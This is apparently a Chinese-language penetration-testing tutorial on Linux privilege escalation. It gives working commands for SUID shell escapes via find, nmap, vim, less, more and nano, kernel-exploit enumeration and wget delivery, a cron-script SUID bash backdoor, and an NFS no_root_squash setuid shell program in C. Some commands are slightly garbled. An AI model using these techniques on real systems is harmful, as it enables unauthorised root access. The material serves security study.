渗透测试之Linux提权(一)
渗透学习之Linux提权(一)
SUID提权
SUID 全称是 Set owner User ID up on execution。这是 Linux 给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是 0 号或其他 super user,同时拥有 SUID 权限,才可以提权。
SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。
常见的可用来提权的Linux 可执行文件有:
nmap, vim, find, bash, more, less, nano, cp
寻找具有suid权限的文件:
1 | find / -perm -u=s -type f 2>/dev/null |
- /表示从文件系统的顶部(根)开始并找到每个目录
- -perm 表示搜索随后的权限
- -u = s表示查找root用户拥有的文件
- -type表示我们正在寻找的文件类型
- f 表示常规文件,而不是目录或特殊文件
- 2表示该进程的第二个文件描述符,即stderr(标准错误)
- /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
find提权
ls -l /usr/bin/find 查看find权限
find /etc/passwd -exec ‘/bin/sh’ ; 能够进入shell
find which find -exec cat /etc/passwd ; 能够执行指令(以root权限)
nmap提权
只存在于早期的nmap之中,带有交互模式,因而允许用户执行shell命令,适用版本:nmap2.02至5.21
使用如下命令进入nmap交互模式:
nmap –interactive
在nmap交互模式中 通过如下命令提权
1 | nmap> !sh |
Vim提权
vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
vim 运行shell
1 | vim |
less提权
less命令也可以进入shell
1 | less /etc/passwd |
more提权
more命令进入shell和less相同
1 | more /etc/passwd |
要注意的是使用more和less一定是读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell
nano提权
nano进入shell的方法为
nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令
利用内核漏洞
利用Linux内核漏洞进行提权,一般包含三个环节:
- 对目标系统进行信息收集,获取到系统内核信息以及版本信息
- 根据内核版本获取其对应的漏洞以及EXP
- 使用找到的EXP对目标系统发起攻击,完成提权操作
内核溢出
漏洞的原理更偏向于pwn,指在操作系统内核空间发生的缓冲区溢出漏洞。即程序没有正确验证输入数据的大小时,多出的数据会覆盖相邻的内存,导致安全问题
信息收集
uname -a 查看内核版本
cat /etc/issue # 查看Linux 系统的版本信息
cat /etc/*-release # 查看Linux 系统的详细版本信息
lsb_release -a # 获取系统的详细信息,但系统不一定有lsb_release
cat /proc/version # 查看 Linux 内核的版本信息及相关的编译信息
查找exp
使用kali自带的searchsploit即可查找exp,如:
searchsploit Ubantu 15.04
searchsploit apache struts
使用exp
使用wget穿到受害主机上即可
著名漏洞:脏牛CVE-2016-5195(Dirty Cow脏牛)
计划任务提权
介绍
计划任务由 crontab 管理,非 root 用户是无法列出 root 用户的计划任务的,但可以列出 /etc 的系统任务,系统任务默认是 root 权限运行的
1 | ls -l /etc/cron* |
如果我们有能够修改某个计划任务指定的脚本,就可以往脚本里加入反弹shell等指令。
漏洞利用
查看计划任务,找到有修改权限的计划任务脚本
1
2ls -l /etc/cron*
more /etc/crontab在mysqlback.sh 添加 SUID shell后门,当定时任务以root再次执行的时候,可以获取root权限
1
2
3cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
密码复用提权
数据库、后台 web 密码,其他配置文件出现的密码,可能就是 root 密码
检查弱密码
检查Web服务器连接到数据库的文件(config.php或类似文件)
检查数据库以获取可能被重用的管理员密码
NFS提权
NFS 是一种运行在端口 2049 上的网络文件共享协议,由服务器和客户端两个组件组成。共享目录是在 NFS 服务器上创建的,以便可以通过网络与其他 Linux 客户端共享文件,获得许可的用户可以将文件添加到共享中,然后与有权访问该目录的其他用户共享。
默认情况下,每个 NFS 共享均启用了 root_squash 功能,用以防止被共享的文件拥有 root:root 身份或特殊权限(即启用 root_squash 之后,共享文件均是 nobody:nogroup 身份)。而如果启用了 no_root_squash 功能,那么共享文件就可以以 root 的身份存在,这很容易导致权限升级。
利用
将exp放入共享文件夹中
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() { setuid(0); system(“/bin/bash”); return 0; }
之后执行即可
Capabilities利用
于suid类似都是可以让普通用户执行管理员用户的能力
可用文件查找
1 | getcap -r /usr/bin |
可写权限文件查找
1 | find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null |






